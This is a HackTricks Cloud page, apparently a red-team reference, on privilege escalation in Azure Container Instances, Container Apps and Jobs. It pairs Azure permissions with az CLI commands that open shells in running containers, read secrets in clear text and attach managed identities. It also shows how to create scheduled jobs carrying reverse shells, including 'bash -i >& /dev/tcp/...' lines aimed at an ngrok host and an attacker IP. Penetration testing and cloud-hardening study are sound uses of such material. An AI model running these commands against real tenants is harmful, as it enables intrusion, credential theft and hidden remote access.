Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Azure Container Instances, Apps & Jobs
Fore more information check:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
These permissions allow the user to execute a command in a running container. This can be used to escalate privileges in the container if it has any managed identity attached. Ofc, it's also possible to access the source code and any other sentitive information storeed inside the container.
To get a shell is as simple as:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
It's also possible to read the output of the container with:
az container attach --name <container-name> --resource-group <res-group>
Or get the logs with:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allows to attach a user managed identity to a container group. This is very useful to escalate privileges in the container.
To attach a user managed identity to a container group:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permission allows to create or update a container group with a user managed identity attached to it. This is very useful to escalate privileges in the container.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Moreover, it's also possible to update an existing container group adding for example the --command-line
argument with a reverse shell.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
These permissions allow the user to get a shell in a runningapplication container. This can be used to escalate privileges in the container if it has any managed identity attached. Ofc, it's also possible to access the source code and any other sentitive information storeed inside the container.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
This permission allows to get the clear text of the secrets configured inside a container app. Note that secrets can be configured with the clear text of with a link to a key vault (in such case the app will have assigned a managed identity with access over the secrets).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allows to attach a user managed identity to a container app. This is very useful to escalate privileges in the container. Executing this action from the az cli also requires the permission Microsoft.App/containerApps/listSecrets/action
.
To attach a user managed identity to a container group:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
These permission allows to create or update an application container with a user managed identity attached to it. This is very useful to escalate privileges in the container.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
Note that with these permisions other configurations of the app can be modified which could allow to perform other privesc and post explaoitation attacks depending on the configuration of existing apps.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
Although jobs arenāt longārunning like container apps, you can exploit the ability to override the jobās command configuration when starting an execution. By crafting a custom job template (for example, replacing the default command with a reverse shell), you can gain shell access within the container that runs the job.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containerās command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
If you have these permissions you can list all the secrets (first permission) inside a Job container and then read the valus of the secrets configured.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
If you have permission to modify a jobās configuration, you can attach a userāassigned managed identity. This identity might have additional privileges (for example, access to other resources or secrets) that can be abused to escalate privileges inside the container.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
If you can create a new Container Apps Job (or update an existing one) and attach a managed identity, you can design the job to execute a payload that escalates privileges. For example, you could create a new job that not only runs a reverse shell but also uses the managed identityās credentials to request tokens or access other resources.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
This command will throw and error if you don't have the Microsoft.App/jobs/read
permission also although the Job will be created.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
It looks like with these permissions it should be possibel to start a job. This could be used to start a job with a reverse shell or any other malicious command without needing to modify the configuration of the job.
I haven't managed to make it work but according to the allowed parameters it should be possible.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.